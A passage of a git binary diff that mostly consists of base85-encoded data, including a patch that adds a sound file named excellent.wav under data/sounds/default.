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 H(gXh=OFRH? diff --git a/data/sounds/default/excellent.wav b/data/sounds/default/excellent.wav new file mode 100644 index 0000000000000000000000000000000000000000..c3decc363282b066ef2db06b143907cab035e9e1 GIT binary patch literal 41564 zcmb@u1$0!&wlG{(N7~{ZG`Iu{?(XjHgA6td4ucIg_yB{u4({&m?hqs)1mf1-N2==I zO&&k<?!9k)Z++|Qv$}JnYS;Fvv-hraY|*r7=N$-jYtXgHkWu5K0uVwNj>26LYJ3nO zf&x(M7M(hmg!?VpHf`6ULC4M#oR69?ejMEC)U>l7T(urBaY&V_<tkSw7gHey4H__h z00Nj8p8Wd<BhJyculJdEtpD`!w)y_~=ehSDhfnU`+!p_Y@T2WN&;HrszxVmkD);{X zi{F1A?f)L?{}#W0ZTGL&|HR<Ovma;wleGTX@5lKM3jYb=$MgTq+5gnj3!8JVmgJ6- zt1r0_zu)=q@c$=B|Gky>>IdHceCF-{uQ0rNnX702sn7RkUMT<G^PjN)dH$WEf8O(+ z|C7SpXFtaL-$VabsQ;(ye}()%apwn|A6Wgk_v7r};r)2_e?H6Y{hdSK|NiHG|1%!{ z35S2)`{((8hV8xkPx$|v9{;&b?%jW<<a_HMI`q%+{u5R|di<xSKm6gp>(Tf2-Y4Es zypVFgKk)M2|93B(J7z9s|Bl~xIN#xW|9-!h3+wwR-+gs%%OB%>x2;^*-mBaZbKCvs zoeS6d>-{jm|9g+`Pri@LIr&CME*x*m?_+vrvG3gW((Q%d{mpIfZRPFby%uu2{8x+I zi(GiZx7N9LynVeea<TN@%f-nH&--Ejg=y}n-aFsn=Z;AJfe+&pS|b=aw|6dnxnp{J z=0f|9z4toznU_9-L>TdhB)w0+x6Eyoi;tIcx%7Hlct1bxdvW!`%)R6N_2QAsz3(u* zFv+)mxj)}|=Y9U27vIOt?VJ0AeH)ej|E;{xbMNIs_KxKp%}a+De(o4vNZxUBrQwC2 zE7@GyyjMEtfp?r-oW0oRY6khQp1F{`H0Ad6KF@`jOKmPsy{)`0yieFS`f{J<!u8(w z_V#kZ`;@{rhri&@_$7XezvS<EJhuZToQuc~=a2bw{((DqD5`-PplYZTia<ed1i~09 zv~%zrp2?Hpi{M)MhJPkc=c(L)ilGXq%C~+sP!YhYF!ZkvM-5aLp822*80`^%0AoLe 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 